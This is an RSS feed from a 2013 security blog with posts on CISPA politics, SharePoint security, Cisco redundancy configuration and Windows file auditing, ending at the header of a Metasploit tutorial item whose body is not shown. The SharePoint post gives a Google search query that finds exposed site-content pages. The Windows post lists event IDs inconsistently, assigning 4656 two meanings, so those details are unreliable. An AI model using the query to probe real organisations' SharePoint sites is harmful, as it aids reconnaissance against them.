<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Mafia Security</title>
	<atom:link href="http://www.mafiasecurity.com/feed/" rel="self" type="application/rss+xml" />
	<link>https://www.mafiasecurity.com</link>
	<description>Information Security Articles &#38; Resources</description>
	<lastBuildDate>Wed, 01 May 2013 23:49:54 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.5.1</generator>
		<item>
		<title>Justin Amash CISPA and FISA</title>
		<link>https://www.mafiasecurity.com/world-events/justin-amash-cispa-and-fisa/</link>
		<comments>https://www.mafiasecurity.com/world-events/justin-amash-cispa-and-fisa/#comments</comments>
		<pubDate>Wed, 01 May 2013 23:24:50 +0000</pubDate>
		<dc:creator>Anthony Giallombardo</dc:creator>
				<category><![CDATA[World Events]]></category>
		<category><![CDATA[Network Neutrality]]></category>
		<category><![CDATA[Privacy Issues]]></category>
		<category><![CDATA[United States Government]]></category>

		<guid isPermaLink="false">https://www.mafiasecurity.com/?p=1604</guid>
		<description><![CDATA[<p>Justin Amash CISPA &#8220;On Thursday, April 18, I voted no on H.R. 624, the Cyber Intelligence Sharing and Protection Act (CISPA). This year’s version includes marginal improvements over last year’s bill, which I also opposed, but these changes don&#8217;t go far enough to protect people’s private data, and many of the bill’s most significant problems remain unaddressed. Like last ...</p><p>The post <a href="https://www.mafiasecurity.com/world-events/justin-amash-cispa-and-fisa/">Justin Amash CISPA and FISA</a> appeared first on <a href="https://www.mafiasecurity.com">Mafia Security</a>.</p>]]></description>
				<content:encoded><![CDATA[<h4>Justin Amash CISPA</h4>
<p>&#8220;On Thursday, April 18, I voted no on H.R. 624, the Cyber Intelligence Sharing and Protection Act (CISPA). This year’s version includes marginal improvements over last year’s bill, which I also opposed, but these changes don&#8217;t go far enough to protect people’s private data, and many of the bill’s most significant problems remain unaddressed. Like last year, the bill overrides federal and state privacy laws and contracts. It exempts private entities from all federal and state liability when they share “cyber threat information” with the federal government—a term broadly defined to mean any information “directly pertaining to [a] threat to [] a system or network,” which could include your personally identifiable information, such as e-mails.</p>
<p>Under CISPA, companies are actually prohibited from making legally binding commitments to protect users’ personal data and e-mail. Without facing liability, companies have no means of assuring customers or employees that they will follow through on their privacy agreements, which means companies cannot easily compete in the area of user privacy. House leadership killed my bipartisan amendment to fix this problem, denying it a full vote on the House floor. My simple, quarter-page amendment merely asserted that CISPA’s liability exemption did not give companies authority “to breach a contract with another party.” It certainly would have passed unanimously or almost unanimously. By rejecting this amendment, the Committee on Rules voted to void private contracts and undermine the Rule of Law.</p>
<p>The bill also inappropriately allows the government to use the information it receives from private entities for purposes other than cybersecurity, such as protecting individuals generally “from the danger of death or serious bodily harm,” investigating and prosecuting certain crimes, and protecting minors. And the government may search through the information it receives to find specific information pertaining to these items, trampling on our Fourth Amendment right to be secure against unreasonable searches and seizures. Rep. Jared Polis offered an amendment, which I cosponsored, that would have ensured the government could use information shared with it under CISPA only to prevent imminent cyber attacks, but again, the Committee on Rules rejected this important change.</p>
<p>Cybersecurity is a real concern for the federal government and many public and private entities. But CISPA goes far beyond what is necessary to ensure the government and the private sector have the information and tools needed to protect against cyber threats. Just a few simple changes (many of which were offered as amendments but rejected by the Committee on Rules) would have made CISPA more protective of your privacy and civil liberties while still reducing legal barriers to timely sharing of actual cyber threat intelligence. House leadership rejected these changes without even permitting a vote on the amendments.</p>
<p>H.R. 624 passed 288-127.</p>
<h4>Justin Amash FISA</h4>
<p>&#8220;On Tuesday, April 16, I voted yes on the motion to suspend the rules and pass H.R. 1163, the Federal Information Security Amendments Act of 2013. The bill deals with cybersecurity for federal information systems. (This bill is not CISPA, which I opposed.) Among other things, the bill directs federal agencies to implement information security programs that include automated and continuous system monitoring, and to conduct routine threat assessments. According to the Committee on Oversight and Government Reform, many federal agencies are not adequately protected against real-time threats and have failed to incorporate modern technological developments into their information system security. The bill helps address these problems. H.R. 1163 passed 416-0.&#8221;</p>
<p>- Office of Justin Amash @mail.house.gov</p>
<p>The post <a href="https://www.mafiasecurity.com/world-events/justin-amash-cispa-and-fisa/">Justin Amash CISPA and FISA</a> appeared first on <a href="https://www.mafiasecurity.com">Mafia Security</a>.</p>]]></content:encoded>
			<wfw:commentRss>https://www.mafiasecurity.com/world-events/justin-amash-cispa-and-fisa/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SharePoint Security Concepts &amp; Application</title>
		<link>https://www.mafiasecurity.com/software-assurance/sharepoint-security-concepts-application/</link>
		<comments>https://www.mafiasecurity.com/software-assurance/sharepoint-security-concepts-application/#comments</comments>
		<pubDate>Sat, 27 Apr 2013 19:21:36 +0000</pubDate>
		<dc:creator>Ismail Saifudin</dc:creator>
				<category><![CDATA[Operational Security]]></category>
		<category><![CDATA[Software Assurance]]></category>
		<category><![CDATA[Application Security]]></category>
		<category><![CDATA[Compliance]]></category>
		<category><![CDATA[Privacy Issues]]></category>
		<category><![CDATA[Risk Management]]></category>
		<category><![CDATA[Social Media]]></category>
		<category><![CDATA[Windows Server]]></category>

		<guid isPermaLink="false">https://www.mafiasecurity.com/?p=1599</guid>
		<description><![CDATA[<p>SharePoint is the common name for a group of five Microsoft SharePoint products and technologies.  SharePoint began as a data and document management solution, with new iterations acquiring aspects of a web server, wiki, blog creation/management and social networking -  the last feature coming from features offered by Yammer, a corporate social networking service bought ...</p><p>The post <a href="https://www.mafiasecurity.com/software-assurance/sharepoint-security-concepts-application/">SharePoint Security Concepts &#038; Application</a> appeared first on <a href="https://www.mafiasecurity.com">Mafia Security</a>.</p>]]></description>
				<content:encoded><![CDATA[<p>SharePoint is the common name for a group of five Microsoft SharePoint products and technologies.  SharePoint began as a data and document management solution, with new iterations acquiring aspects of a web server, wiki, blog creation/management and social networking -  the last feature coming from features offered by Yammer, a corporate social networking service bought by Microsoft in 2012. When used with Office 2013/365, SharePoint can act as an internal dropbox and network share rolled into one. This allows users to synchronize files and folders to a personal space, a shared document library, or both. Lets take a look at SharePoint Security.</p>
<p><b>Main issues regarding security of SharePoint deployments:</b></p>
<p>Organizations have been adopting SharePoint at a pace which tends to outpace security measures. As always, adopting convenient tools is going to outpace adopting security measures which restrict actions by nature. Striking a balance between accessibility and restrictiveness is the goal of any well thought out and implemented security policy. SharePoint’s enables users to easily create sites in order to share data, which means that decentralization is the name of the game. Decentralized environments are often outside the scope of influence of IT/Security administrators. Instead of having to secure particular folders via access control, the security apparatus now has the problem of not just securing existing and future SharePoint sites, but also locating these sites.</p>
<p>Another issue is the complex permissions administration which is more complex than NTFS comparatives.   Access control decisions are left to the data’s owners through the SharePoint Permissions workflow, these may conflict with enterprise-level access policies. A Permissions workflow enables specific users to perform specific actions or see specific things based on their function. An Author can automate administration by creating a route that allows a user to perform a new task based on the status of a completed or existing task.</p>
<p>Resource auditing is a challenge in SharePoint, to be able to see which users took what action on data.  Current built in auditing capabilities are limited in terms of scalability across sites and platforms as data be copied and transmitted to file shares, email and so on without an audit trail that can cross sites. An Administrator may be able to audit data on one site, but as that data is transmitted to another site or platform, auditing software has difficulty continuously monitoring and corroborating that data which has left the current site.</p>
<p><b>How a hacker can glean information from publically available SharePoint resources:</b></p>
<p>Google hacking:</p>
<p>Type: inurl:&#8221;/_layouts/viewlsts.aspx&#8221; into Google and view results, this basic technique shows all searchable sites which have their View All Site Content pages exposed externally. There are other commands that can expose user information, roles, personal information, account SIDs,  Emails, site administrator etc.</p>
<p>Inurl is a Google string to restrict the results to those with all of the query words in the URL.</p>
<h4>Measures to SharePoint Security (from the top down):</h4>
<p><strong>1.      Securing the Farm</strong></p>
<p>A SharePoint farm is a collection of SharePoint servers or SQL servers working together to provide SharePoint services in support of a site. Services running within the farm regulate the allocation of services to manage architecture and performance.  Farm security is relatively simple given that the crux of SharePoint is its distributed content. Permissions are simple, there are farm admins and there are other users who aren’t admins. A farm admin has full control over the farm which includes web apps, managing services and backups. These tasks can be found in Central Administration, the web-based administration interface.  The Farm administrator role is set via AD, by adding users/groups to the farm administrators group. Certain actions also require the farm administrator to be a local administrator on the server(s) running the Central Administration web application.</p>
<p><b>2.      </b><b>Granting PowerShell Access</b></p>
<p>PowerShell provides command line access to administer and automate SharePoint functions that can also be done from the Central Administration web application. Granting users the ability to run PowerShell commands, the Add-SPShellAdmin cmdlet, which grants necessary permissions on SharePoint servers/farm. When using the –database switch, a user can then be given permissions to the configuration database and the content database.</p>
<p><b>3.      </b><b>Securing Web Applications (via basic or digest authentication) &amp; Zones</b></p>
<p>Web applications are the user’s entry point into SharePoint, which means it is also an entry point for attackers. Web applications consist of one or more IIS websites, controlling how users are authenticated (if authentication is set). IIS is notorious for security issues, so this measure of security is quite necessary – not allowing anonymous access.  Using multiple web applications as a segmentation measure is also prudent. Using multiple web applications allows for isolation of content or sets of users, such as an extranet.</p>
<p>Using zones is also valuable. When a web application is created, the default zone is created. The web application can then be extended to create other zones up to a maximum of 5 zones: Default, Intranet, Internet, custom, extranet.</p>
<p>Each zone is effectively a new IIS Website, and each site points to an Application pool, also called extensions. Essentially, users can access different URLs with varying levels of security depending on which URL the user uses &#8211; by using zones to enforce access and policy conditions for groups of users.</p>
<p>This allows you to set &#8220;Windows Authentication&#8221; for Intranet, &#8220;Form Authentication&#8221; for the extranet and &#8220;Form Authentication with anonymous access&#8221; for Internet.</p>
<p>Adjusting permissions to content within a web application requires changing the user policy for the web application – through Central Administration &gt; Manage web applications &gt; select the web application and select User Policy. Permissions can then be added or denied. This is the only way to deny a user access to SharePoint as it takes precedence over all other permissions. For granting permissions, it is generally better to grant them at the individual site collection level.</p>
<p><b>4.      </b><b>Anonymous Access:</b></p>
<p>To adjust which permissions and anonymous user receives, perform the following:</p>
<ul>
<li>Per object, go to the Site Actions menu and use the objects context menu (aka edit control block).</li>
<li>If necessary, click the stop inheriting permissions box</li>
<li>Select Anonymous Access</li>
<li>Select the desired permissions to grant anonymous users</li>
</ul>
<p><b>5.      </b><b>Securing site collections:</b></p>
<p>A site collection is also referred to as a top level site or root site. It contains configuration settings that apply to all the sites within it, such as quotas, search settings, recycle bin settings, etc. As mentioned previously, permissions can be assigned at the web application level and individual site level. Typically users are authenticated at the web application level and authorization (what users can access) is performed at the individual site collection level. Therefor it is advisable to assign permissions via the individual site collections for day to day management.</p>
<p>When permissions are set on a collection, they are inherited by all websites, lists, libraries, folders and items in that site collection – this can be stopped if needed. If a user attempts access to a site to which they have not been granted access, it is possible to enable the user to request access from the access denied error page, similar to a firewall.</p>
<p>Within a site collection, the highest level of access belongs to the site administrator. A site administrator is assigned by the farm administrator (there can be 2 site administrators per site). A site administration can then add as many additional local admins as needed. Note that each site collection is administered separately, so allowing trained users access to administrative tasks is convenient.</p>
<p><b>6.      </b><b>Enabling Groups:</b></p>
<p>Groups in SharePoint are similar to other systems, however these groups are specific and limited to their site collection. Do not confuse this with AD groups, as one AD group permission can be assigned to multiple site collections. Each site has its own built-in permissions levels which can be assigned to users or groups, these are similar to NTFS permissions (Full Control, Read, etc) and include some others such as Design. Custom permission levels can also be created for more granular access control.</p>
<p>Permissions within a site collection can be granted by:</p>
<ul>
<li>Adding one or more users to a SharePoint group and granting that group permissions</li>
<li>Adding one or more users to an AD security group and granting that group permissions</li>
<li>Adding one or more users to an AD security group, adding the AD group to a SharePoint group, and granting the SharePoint group relevant permissions</li>
<li>Granting permissions directly to users, without the use of groups.</li>
</ul>
<p>*Permissions are assigned by going to the Site Actions menu within the site collection, selecting Site Permissions &gt; Grand Permissions &gt; select users, SharePoint groups or AD security groups.</p>
<h4><b>Enterprise wide visibility and control for compliance purposes for SharePoint Security:</b></h4>
<p>SharePoint uses its own proprietary authorization model stored in a SQL database within the SharePoint installation. Therefor authorization is done on a per site basis, and a comprehensive view of access rights across all sites is difficult to get. There are a number of ways to simplify and address this issue. One is to manually extract all the entitlement (permissions) reports from each site and create a report. There are third party vendors such as Nintex, Idera, Quest Software, etc that provide tools for enterprise wide visibility and reporting.</p>
<p>Another approach involves using a centrally managed service from a third party vendor to take advantage of the .NET role provider interface (SharePoint is a .NET framework-based application) and enable external-based authorization solutions. This can replace or be used in conjunction with SharePoint’s internal authorization scheme. *Cost is a factor with this approach as solutions can be expensive.</p>
<p>&nbsp;</p>
<p>The post <a href="https://www.mafiasecurity.com/software-assurance/sharepoint-security-concepts-application/">SharePoint Security Concepts &#038; Application</a> appeared first on <a href="https://www.mafiasecurity.com">Mafia Security</a>.</p>]]></content:encoded>
			<wfw:commentRss>https://www.mafiasecurity.com/software-assurance/sharepoint-security-concepts-application/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Cisco Fault Tolerant Network Design</title>
		<link>https://www.mafiasecurity.com/network/cisco-fault-tolerant-network-design/</link>
		<comments>https://www.mafiasecurity.com/network/cisco-fault-tolerant-network-design/#comments</comments>
		<pubDate>Fri, 05 Apr 2013 18:21:17 +0000</pubDate>
		<dc:creator>Casey Walters</dc:creator>
				<category><![CDATA[Network]]></category>
		<category><![CDATA[Cisco]]></category>
		<category><![CDATA[Networking]]></category>

		<guid isPermaLink="false">https://www.mafiasecurity.com/?p=1596</guid>
		<description><![CDATA[<p>Whether you’re building a brand new network or looking for ways to improve the resiliency of your existing infrastructure, the following guide is intended to give some tips on how to minimize the effects of failures within the network. This guide explains configuration for primarily Cisco Fault Tolerant Network Design equipment, but a lot of ...</p><p>The post <a href="https://www.mafiasecurity.com/network/cisco-fault-tolerant-network-design/">Cisco Fault Tolerant Network Design</a> appeared first on <a href="https://www.mafiasecurity.com">Mafia Security</a>.</p>]]></description>
				<content:encoded><![CDATA[<p style="text-align: left;" align="center">Whether you’re building a brand new network or looking for ways to improve the resiliency of your existing infrastructure, the following guide is intended to give some tips on how to minimize the effects of failures within the network. This guide explains configuration for primarily Cisco Fault Tolerant Network Design equipment, but a lot of these same principles and protocols can be used with other vendor equipment.</p>
<p style="text-align: left;" align="center">We’ll start by talking about a relatively simple concept of redundant power, but you might find that this is one of the most neglected parts of a network design. I&#8217;ve encountered many dead switches in wiring closets that probably could have lived a longer life if the proper power protection was implemented when the switch was installed. It’s also important to note that most networking devices were not built to be rebooted very often, so when a power loss occurs for a split second and reboots all your switches, this isn&#8217;t exactly healthy for the devices. It amazes me sometimes how people will drop thousands of dollars on new network equipment and not bother to protect this new investment with a solid Uninterrupted Power Supply. (UPS) The concept here is pretty simple, when a power loss occurs in the building; UPSs in each wiring closet take over with a battery backup to keep this equipment running. I&#8217;m finding that this is only going to become more important as power over Ethernet (PoE) devices gain in popularity. A great example here is a network that is running voice over IP (VoIP) and maybe some wireless access points that get power from your PoE switches in each closet. If a power blip occurs and you&#8217;re not running UPSs in each of your wiring closets, all of your phones and wireless access points will reboot as well once the power to the building is fully restored. This could add up to be a LOT of downtime if there is a storm that keeps knocking out power for a few split seconds every hour. If it’s in your budget, I always recommend going with UPSs that are IP enabled. This means there is either a built in Ethernet port on the device or a separate module you can install in it to remotely manage the device over the network. It’s also very cool to have the device send you an email when it needs a replacement battery or send an SNMP trap to your monitoring server, which leads me to the importance of monitoring.</p>
<p style="text-align: left;" align="center">You can build all the redundancy and fault tolerance into your network that you want, but if you are not monitoring for failures and acting on those alerts, you’re only prolonging the outages that will eventually occur. There are many ways to do this, but the most popular ways I’ve seen are using SNMP (Simple Network Management Protocol), Syslog, and believe it or not, a simple ping. PRTG, Solarwinds, and Nagios are a few programs that come to mind for SNMP monitoring and I know there are a few freebees for Syslog monitoring as well. Here is a quick breakdown of how you can setup SNMP on a Cisco switch. (The commands are the same or similar for other devices)</p>
<p style="text-align: left;">SNMP works by using community names. If your device is programmed with the same community name that you have setup on your SNMP monitoring server you will see statistics and data populating in your monitoring application. You’ll also need to make sure UDP ports 161 and 162 are allowed on your network before deploying this. Here is a config snippet to get you started with some notes.</p>
<p style="text-align: left;"><em> Switch(config)#snmp-server community EXMAPLE RO</em></p>
<p style="text-align: left;">The “EXAMPLE” part of this command is the actual community name string that will need to match on whatever program you’ll be using to poll SNMP data. The “RO” portion signifies that this is a read-only SNMP community string, so you can’t actually send commands to the device using SNMP, just read data. You can optionally add a number at the end of this command to bind this string to an access-list number that can either be a standard or extended list of access-lists. This will make it so only the IP addresses you allow in your access-lists will be allowed to poll SNMP data from the device for monitoring.</p>
<p style="text-align: left;">Another feature that is built into every Cisco switch that is often neglected is spanning tree protocol and I would be crazy not to include a short discussion of this in my guide, so here goes. Spanning tree protocol is a nice insurance policy to make sure your network is running loop free, so I highly recommend using it. It’s also a nice way to purposely build in some redundant links into your network. There is a ton of information on spanning tree protocol and how you can fine tune it, but I’ll concentrate on the basics. By default, almost all modern Cisco switches have PVST (Per VLAN Spanning Tree) enabled. This makes use of the 802.1D standard or in other words, a standard STP instance for each VLAN. With regular STP, it’s possible for us to have to wait 50 seconds for spanning tree to reconverge on the network from a link failure. This is long enough for phones to reset, web pages time out, and the phones to start ringing on your desk with angry users wondering what is going on. This was once an acceptable amount of time for a network hiccup in the middle of the day, but modern networks require much more uptime than ever before and this amount of downtime is often not acceptable. Now if you remember to enter this one command below on every switch in your network you can drastically speed up your spanning tree convergence time.</p>
<p style="text-align: left;"><em> Switch(config)#spanning-tree mode rapid-pvst</em></p>
<p style="text-align: left;">This command enables rapid spanning tree (802.1w) on your switch. Once this is turned on you’re only looking at about a 3 second delay for spanning tree to converge from a link failure. Another thing that is often left out when deploying switches is statically setting the root switch in the spanning tree topology. Let’s bring up an example to show what I’m talking about. Maybe we are a growing network and we are constantly adding switches to new parts of the building and I have not decided on what switch I want to be my root bridge in the spanning tree topology. Now by default the switch that has the lowest MAC address will be elected the root bridge in the topology which is often the oldest switch in the network. This is a MAJOR problem, because if my network has hundreds of VLANs this means I have hundreds of spanning tree instances for the root bridge to keep track of. If the oldest switch in the network can’t handle this you’ll experience major instabilities on the network. This is why it’s very important to carefully plan what switch will be the root bridge in the network and then statically set its priority. You can accomplish this with the following command:</p>
<p style="text-align: left;"><em>Switch(config)#spanning-tree vlan [VLAN # or range] priority 0</em></p>
<p style="text-align: left;">I always set mine to the lowest (best) priority to eliminate any consequences of somebody who brings in a switch that is set to a higher priority, but please note that if another switch appears on the network with the same priority of 0 you’re back at a lowest MAC address determination for the root bridge.</p>
<p style="text-align: left;">So now you’ve got some redundant links in your network and your monitoring software will tell you when a link has failed over so you can make the necessary adjustments to restore that link, but what if we want to minimize downtime even further by using link aggregation for sub-second failover on our redundant links? This is where the use of Etherchannels can really shine. In short, an Etherchannel is a grouping of physical links on a switch to form one virtual link. If you’ve ever worked with T1s to setup multi-link bundles, the concept is very similar to this in that we are load balancing across two separate physical links.</p>
<p style="text-align: left;">If spanning tree protocol is setup correctly on your network you’ll see something that looks like the figure below with one port in the “blocking” state where traffic is not being forwarded on this link.</p>
<p style="text-align: left;">When you run the “Show spanning-tree” command you will see this link’s status as “BLK.” Let’s bundle these two links together into an Etherchannel using the following commands.</p>
<p style="text-align: left;">Both ends we will have identical config, because we chose ports that are the same port number on each side. This is a nice way to add some consistency to your network and be able to easily predict how the other end is setup in troubleshooting any issues.</p>
<p style="text-align: left;">First we’ll create the virtual interface by simply typing in interface and then the string “port-channel” with a number directly after it.</p>
<p style="text-align: left;"><em>Switch(config)#interface  port-channel1</em></p>
<p style="text-align: left;">*The range of numbers you can use will be dependent on what model of switch you are configuring and might vary between IOS versions.</p>
<p style="text-align: left;">Now we will be dropped into interface configuration mode where we will need to add the configuration we need for our switch to switch link just like we would if it was a physical interface. Since this is a switch to switch link I’m going to configure it as a trunk port, so it can carry traffic for multiple VLANs across it.</p>
<p style="text-align: left;"><em>Switch(config-if)#switchport mode trunk</em><br />
<em>Switch(config-if)#switchport nonegotiate</em></p>
<p style="text-align: left;">From here, this should look quite familiar. I like to use the “switchport nonegoatiate” command after setting a link as a trunk to disable DTP. (dynamic trunking protocol) Just make sure that if you configure it this way, both ends of your configuration are identical, because this command forces you to set a port to trunk manually instead of relying on a negotiation to take place between switches. I’ve heard mixed things on whether or not this actually speeds up your convergence time, but I prefer to configure trunks this way anyways, because I generally don’t like relying on the network to automatically do anything and it’s nice to eliminate extra overhead from DTP packets.</p>
<p style="text-align: left;">Our next step is to assign physical interfaces to our newly created port-channel interface. I’ll select both my interfaces at once using the range command shown below and configure both interfaces in one swipe.</p>
<p style="text-align: left;"><em>Switch(config)#interface range GigabitEthernet1/0/1-2</em></p>
<p style="text-align: left;">Next make sure that the configuration on your physical interfaces matches what we just applied to the port-channel interface. If it doesn’t, there could be very unpredictable issues occurring over the link once it is enabled as an Etherchannel. Some IOS fills in the configuration on your virtual interface to all of the physical interfaces assigned, but not all IOS does this, so make sure to check this before moving on.</p>
<p style="text-align: left;"><em>Switch(config-if-range)#switchport mode trunk</em><br />
<em>Switch(config-if-range)#switchport nonegotiate</em></p>
<p style="text-align: left;">Now we’ll enter our channel-group configuration.</p>
<p style="text-align: left;"><em>Switch(config-if-range)#channel-group 1 mode on</em></p>
<p style="text-align: left;">We start with the string, “channel-group” to tell the switch that the selected physical interfaces will be part of a virtual interface. Next we’ll need to enter the number that we used earlier in our port-channel interface to bind this physical interface to that port-channel interface.</p>
<p style="text-align: left;">For the next part of this command I used “mode on” to tell the physical interfaces to unconditionally become an Etherchannel. You have a few options here, but the short story is that PAgP (Port aggregation protocol) or LACP (Link Aggregation Control Protocol) can be configured to negotiate an Etherchannel. Again, similar to configuring trunk ports, my preference here is to not use a negotiation protocol unless required, so since this is just a switch to switch link, a negotiation protocol really isn’t needed. Most Cisco documentation I have read will suggest that you use their proprietary PAgP to form Etherchannels, but from what I understand this is only recommended due to the fact that PAgP will help you out and shutdown links if a configuration mistake is made. So the key here is making sure that both ends of the Etherchannel have identical configuration. I have had a lot of success with selecting “mode on” for Etherchannels.</p>
<p style="text-align: left;">After these steps are complete, you should be able to do a “no shutdown” on your physical interfaces and see the Etherchannel come up. Spanning tree will not block the port since it is now a single logical link and you should have sub-second failover times in the event that one of the links goes down. You can run a quick “show etherchannel summary” command from enable mode to verify that both ports are up in the Etherchannel. Ports that are “up” in the Etherchannel will be labeled with a “P” next to them from this output.</p>
<p style="text-align: left;">Now your topology should logically look like this:</p>
<p style="text-align: left;">Make sure to note what load balancing method your switches are using by default for Etherchannels, as you may need to adjust this depending on the placement in the network. Many of the newer models will allow you to load balance using source/destination MAC address, source/destination IP address, and layer 4 ports. I recommend load balancing by source or destination IP address when you can, but know that this is not always the best configuration. For example, if you have an Etherchannel going to a heavily utilized server in your organization and you load balance by destination IP address you might find that the majority of your traffic only traverses one link since users are all trying to get to the one IP address on the other end of your Etherchannel, which is your server’s IP address. It’s also important to note that Etherchannel load balancing is a global configuration, so once you choose a load balancing method, this method will be used by all Etherchannels configured on the switch.</p>
<p style="text-align: left;">Here is the command to adjust the load balancing method:</p>
<p style="text-align: left;"><em>Switch(config)#port-channel load-balance ?</em></p>
<p style="text-align: left;"><em>                          Dst-mac         Dst Mac Addr</em></p>
<p style="text-align: left;"><em>                          Src-mac         Src Mac Addr</em></p>
<p style="text-align: left;">And you can verify what load balancing is currently running with the “show etherchannel load-balance” command.</p>
<p style="text-align: left;">Now the next time you are tasked with building a network from the ground up or implementing some high availability features into your network, keep these tips and configuration examples in mind. Remember that failure points within any network are a matter of “when” and not a matter of “if.” The famous saying of “even the best laid plans…” might come back to bite you if the proper monitoring, countermeasures against link failure and electrical power protection are not built in.</p>
<h3>References for Cisco Fault Tolerant Network Design:</h3>
<p>Cisco Fault Tolerant Network Design [Review Fault Tolerant Network Design, by C. Walters]. (2013, March). Retrieved from Hakin9 website: <a title="http://hakin9.org/how-to-detect-system-intrusions/" href="http://hakin9.org/how-to-detect-system-intrusions/" target="_blank">http://hakin9.org/</a><a title="http://hakin9.org/how-to-detect-system-intrusions/" href="http://hakin9.org/how-to-detect-system-intrusions/" target="_blank">how-to-detect-system-intrusions/</a></p>
<p>The post <a href="https://www.mafiasecurity.com/network/cisco-fault-tolerant-network-design/">Cisco Fault Tolerant Network Design</a> appeared first on <a href="https://www.mafiasecurity.com">Mafia Security</a>.</p>]]></content:encoded>
			<wfw:commentRss>https://www.mafiasecurity.com/network/cisco-fault-tolerant-network-design/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Windows Security Auditing for File Integrity Monitoring</title>
		<link>https://www.mafiasecurity.com/governance/windows-security-auditing-for-file-integrity-monitoring/</link>
		<comments>https://www.mafiasecurity.com/governance/windows-security-auditing-for-file-integrity-monitoring/#comments</comments>
		<pubDate>Wed, 27 Mar 2013 18:59:07 +0000</pubDate>
		<dc:creator>Troy Wilkinson</dc:creator>
				<category><![CDATA[Governance]]></category>
		<category><![CDATA[Installations / Guides]]></category>
		<category><![CDATA[Application Security]]></category>
		<category><![CDATA[Logging]]></category>
		<category><![CDATA[Risk Management]]></category>
		<category><![CDATA[Windows Server]]></category>

		<guid isPermaLink="false">https://www.mafiasecurity.com/?p=1589</guid>
		<description><![CDATA[<p>Recently, my company found out that our current file monitoring software was being deprecated. After researching many expensive options, we found the Windows built-in file integrity monitor would suit our needs for Windows Security Auditing. First, there are both pros and cons with using Windows security auditing. One of the benefits of Windows security auditing ...</p><p>The post <a href="https://www.mafiasecurity.com/governance/windows-security-auditing-for-file-integrity-monitoring/">Windows Security Auditing for File Integrity Monitoring</a> appeared first on <a href="https://www.mafiasecurity.com">Mafia Security</a>.</p>]]></description>
				<content:encoded><![CDATA[<p>Recently, my company found out that our current file monitoring software was being deprecated. After researching many expensive options, we found the Windows built-in file integrity monitor would suit our needs for Windows Security Auditing.</p>
<p>First, there are both pros and cons with using Windows security auditing.</p>
<p>One of the benefits of Windows security auditing has verse third party software is the ability to tell the system administrator when a user tries to access a file they do not have authorization. There may be an ongoing occurrence for John Doe, from marketing, ‘accidentally’ trying to access a Human Resources share; however, if this event occurs multiple times with different credentials or circumstances, you can suspect John Doe is doing something he should not be.</p>
<p>The first big downside is not being able to tell what has been changed in a file. In the more expensive options like nCircle and Tripwire, you know exactly what has been changed down to a granular level. Secondly, is if configured improperly, your security event logs on the server will be too large to parse limiting the ability to make sense of audit logs.</p>
<p>Windows security auditing allows IT professionals and IT auditors with the knowledge of the specific directories, files including executables, which has been changed, modified or deleted. Windows security auditing will notify you of this event by telling you who, what, where, and when.</p>
<p>You will need some way to monitor your event logs. We use Splunk (<a href="http://www.splunk.com/">www.splunk.com</a>) to parse and alert on our application, security and event logs. All we had to do was enable Windows security auditing and configure it on the appropriate folder structure. From day one, we were getting the information we needed and exceeded the PCI DSS requirements to stay in regulation.</p>
<p>Windows security auditing is not enabled by default; however, it is very simple to set up.</p>
<p>On your Windows server, go to Local Security Policy &gt; Security Settings &gt; Local Policies &gt; Audit Policy.</p>
<p>Enable security auditing, and then right click on the file or folder you want to monitor. Select Properties &gt; Security tab &gt; Advanced &gt; Auditing tab &gt; Edit.</p>
<p>I would advise experiment with a small set of files and folders while watching the security event log. You will see the different access notifications for the file set you selected.</p>
<p>Most importantly, monitor for the following events:</p>
<ul>
<li>Successful:
<ul>
<li>Create files / write data</li>
<li>Create folders / append data</li>
<li>Write attributes</li>
<li>Write extended attributes</li>
<li>Delete subfolders and files</li>
<li>Delete</li>
<li>Failed:</li>
</ul>
</li>
<li><em>All failed attempts to access monitored files and folders</em></li>
</ul>
<p><i>This is useful to show employees who are routinely trying to access files and folders they do not have permissions to view.</i></p>
<p>There are some important event IDs in Windows that are associated with Windows security auditing. The most important are</p>
<ul>
<li>Event ID 4663 – A file/folder is created</li>
<li>Event ID 4656 – A file/folder is changed and saved</li>
<li>Event ID 4656 – A file/folder is deleted. You will see the exact wording “deleted” in the message area of the event.</li>
</ul>
<p>A list of more Windows security auditing event IDs can be found here: <a href="http://support.microsoft.com/kb/947226">http://support.microsoft.com/kb/947226</a></p>
<p>As an example, you could use Windows security auditing on the following folders.</p>
<p>(This is not an all-inclusive list)</p>
<ul>
<li>C:\Bin\*</li>
<li>C:\Users\*</li>
<li>C:\Program Files\*</li>
<li>C:\Program Files (x86)\</li>
<li>C:\Windows\System32\dns\*</li>
<li>C:\Windows\System32\*.exe</li>
<li>C:\Windows\Security</li>
<li>D:\Program Files\*</li>
<li>D:\Logs\*</li>
</ul>
<p>&nbsp;</p>
<p>The settings for Windows security auditing can be built into GPO packs and pushed out as part of your global policy. Global Policies along with Microsoft Deployment Toolkit are a great combination to ensure your security auditing settings are applied consistently.</p>
<p>There are benefits to spending the money for software like Tripwire or nCircle, but take a look at Windows security auditing. You may just have your solution built into your server.</p>
<p>The post <a href="https://www.mafiasecurity.com/governance/windows-security-auditing-for-file-integrity-monitoring/">Windows Security Auditing for File Integrity Monitoring</a> appeared first on <a href="https://www.mafiasecurity.com">Mafia Security</a>.</p>]]></content:encoded>
			<wfw:commentRss>https://www.mafiasecurity.com/governance/windows-security-auditing-for-file-integrity-monitoring/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Step by Step Metasploit Free Tutorials</title>
		<link>https://www.mafiasecurity.com/install-guides/step-by-step-metasploit-free-tutorials/</link>
		<comments>https://www.mafiasecurity.com/install-guides/step-by-step-metasploit-free-tutorials/#comments</comments>
		<pubDate>Mon, 18 Mar 2013 21:10:46 +0000</pubDate>
		<dc:creator>Affiliate</dc:creator>
				<category><![CDATA[Installations / Guides]]></category>
